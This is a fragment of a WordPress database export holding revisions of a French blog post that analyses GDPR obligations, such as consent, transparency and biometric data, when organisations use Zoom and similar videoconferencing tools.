&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>TABLEAU A INSERER<a href=\"https://awallon.com:15001/?launchApp=SYNO.SDS.PDFViewer.Application&amp;SynoToken=jDFRGhbLjqYXI&amp;launchParam=name%3DRGPD01_B1_01_PW.xlsx%26getUrlFn%3D%257B%2522async%2522%253Atrue%252C%2522fn%2522%253A%2522SYNO.SDS.DocumentViewer.FBExt.startPolling%2522%252C%2522args%2522%253A%255B%2522%2540users%252FChat5E8CDA5B8CC7B39%2522%252C%2522webapi%252Fentry.cgi%253Fapi%253DSYNO.DocumentViewer.Convert%2526method%253Dget_thirdparty%2526version%253D1%2526task_id%253D%252522%252540users%25252FChat5E8CDA5B8CC7B39%252522%2526SynoToken%253DjDFRGhbLjqYXI%2522%255D%257D\">https://awallon.com:15001/?launchApp=SYNO.SDS.PDFViewer.Application&amp;SynoToken=jDFRGhbLjqYXI&amp;launchParam=name%3DRGPD01_B1_01_PW.xlsx%26getUrlFn%3D%257B%2522async%2522%253Atrue%252C%2522fn%2522%253A%2522SYNO.SDS.DocumentViewer.FBExt.startPolling%2522%252C%2522args%2522%253A%255B%2522%2540users%252FChat5E8CDA5B8CC7B39%2522%252C%2522webapi%252Fentry.cgi%253Fapi%253DSYNO.DocumentViewer.Convert%2526method%253Dget_thirdparty%2526version%253D1%2526task_id%253D%252522%252540users%25252FChat5E8CDA5B8CC7B39%252522%2526SynoToken%253DjDFRGhbLjqYXI%2522%255D%257D</a><a href=\"https://awallon.com:15001/?launchApp=SYNO.SDS.Drive.Application&amp;launchParam=file_id%3D547170207460809918\">https://awallon.com:15001/?launchApp=SYNO.SDS.Drive.Application&amp;launchParam=file_id%3D547170207460809918</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:embed {\"url\":\"https:\\/\\/noyb.eu\\/sites\\/default\\/files\\/2020-04\\/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\"} -->\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\n</div></figure>\n<!-- /wp:embed -->\n\n<!-- wp:paragraph -->\n<p>Si vous teniez malgré\ntout à continuer à utiliser cette application, voici des conseils sur comment\nutiliser Zoom avec plus de sécurité :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></h1>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','','','inherit','closed','closed','','601-revision-v1','','','2020-04-07 20:57:42','2020-04-07 19:57:42','',601,'https://datarainbow.eu/2020/04/07/601-revision-v1/',0,'revision','',0),(610,5,'2020-04-07 21:02:39','2020-04-07 20:02:39','{{unknown}}','','','publish','closed','closed','','48f02ac0d27e681eaa0c6a70dcb8fc21','','','2020-04-07 21:02:39','2020-04-07 20:02:39','',0,'https://datarainbow.eu/2020/04/07/48f02ac0d27e681eaa0c6a70dcb8fc21/',0,'oembed_cache','',0),(611,5,'2020-04-07 21:03:10','2020-04-07 20:03:10','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application\nde la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable.\nLes données précédemment notamment de santé, répertoriées comme des données\n‘sensibles’, sont désormais des données de catégorie spéciale <strong>art 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\" rel=\"noreferrer noopener\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les\ndonnées doivent être collectées doivent répondre aux exigences de licéité énumérées\nà <strong>l’art 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\ntraitement de données doit répondre à une finalité légitime telle qu’énumérée à\nl’<strong>art. 6</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le\ntraitement pourra être, soit considéré comme relevant d’un intérêt légitime –\navec nécessité de procéder aux tests en trois parties – soit une demande de\nconsentement préalable sera indispensable. Le motif de traitement devra être\nconsigné par le contrôleur le cas échéant sur son registre des traitements <strong>art.\n30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy\nnotice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché\nà tout moment avec le risque d’invalider la licéité de tout enregistrement\nconservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’Art 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre,\nspécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte,\npar une déclaration ou par un <strong>acte positif clair</strong>, que des données à\ncaractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence\nlorsque les données sont collectées avec précision de l’enregistrement ou toutes\ndiffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots)\ndes meetings. Rappelons que, s’agissant de données biométriques capables\nd\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci\nconcerne les données des participants et de toutes autres données personnelles traitées\nlors de la visio-conférence <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_] -</strong> les consentements devront être répertoriés\nau registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des\ndonnées des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 